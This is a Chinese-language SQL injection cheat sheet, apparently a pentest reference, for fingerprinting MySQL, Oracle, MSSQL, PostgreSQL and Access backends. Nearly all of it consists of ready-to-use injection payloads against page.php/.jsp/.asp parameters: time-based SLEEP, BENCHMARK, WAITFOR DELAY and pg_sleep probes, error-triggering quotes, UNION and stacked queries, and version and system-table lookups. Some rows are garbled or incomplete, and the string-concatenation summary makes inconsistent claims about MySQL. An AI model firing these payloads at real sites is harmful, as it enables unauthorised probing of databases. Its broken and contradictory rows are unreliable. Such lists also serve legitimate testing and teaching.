数据库识别
| 作者 | 修订时间 |
|---|---|
| 2023-07-05 21:37:29 |
| 描述 | 语句 |
|---|---|
| SLEEP函数 | page.php?id=1'-SLEEP(1)=0 LIMIT 1 -- |
| BENCHMARK函数 | page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 -- |
| 字符串连接(注意有个空格) | page.php?id=' 'mysql' -- page.php?id=' and concat('some','string') |
| 版本信息 | select @@version select version() |
| 错误消息(根据返回的错误信息判断) | page.php?id=' |
| 特有函数 | select connection_id() select last_insert_id() select row_count() |
Oracle
| 描述 | 语句 | ||
|---|---|---|---|
| 字符串连接 | `page.jsp?id=' | 'oracle' -- a` | |
| 默认表 | page.jsp?id='UNION SELECT 1 FROM v$version -- select banner FROM v$version select banner FROM v$version WHERE rownum=1 | ||
| 错误消息(根据返回的错误信息判断) | page.jsp?id=' |
MSSQL
| 描述 | 语句 |
|---|---|
| WAITFOR 函数 | page.asp?id=';WAITFOR DELAY '00:00:10'; -- |
| 堆叠查询默认变量 | page.asp?id=sql'; SELECT @@SERVERNAME -- |
| 错误消息(根据返回的错误信息判断) | page.asp?id=' |
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) | page.asp?id=@@SERVERNAME |
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) | page.asp?id=0/@@SERVERNAME |
| 常量 | @@pack_received@@rowcount |
PostgreSQL
| 描述 | 语句 |
|---|---|
| 字符串连接 | id=1 and 'a'+'b'='a' |
| 休眠函数 | page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a |
Access
[!Warning]
Access是轻量级数据库,特点是只有单个库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名。 Access只有联合注入和布尔盲注。
| 描述 | 语句 |
|---|---|
| access无法想其他数据库那样只能去猜测数据库命 | ...... |
| access空白符 | %20,%09,%0A,%0C,%0D |
总结经验
| 方法 | 描述 |
|---|---|
| 常见搭配 | asp:sql server,Access .net :sql server php:PostgreSQL,Mysql java:Oracle,Mysql |
| 各数据库标志性信息 | sql server:select@@version Oracle:select banner from v$version mysql:select @@version,version() -- ,length(user)>0正常 postgresql:select version() -- |
| 各数据库特有的函数 | sql server: @@pack_received @@rowcount mysql:connection_id() last_insert_id() row_count() orcale:bitand(1,1) postgresql: select extract(dow from now()) |
| 对于字符串处理方式 | sql server :id=1 and 'a'+'b'='ab' -- mssql:id=1 and 'a'+'b'='ab' mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b') oracle:id=1 and 'a'+'b'='a' postgresql :id=1 and 'a'+'b'='a' |
| 特定表 | mssql,postgresql,mysql:information_schema postgresql: pg_tables => mssql: sysobjectsoracle: all_tables,user_tables |
| 报错banner信息 | .... |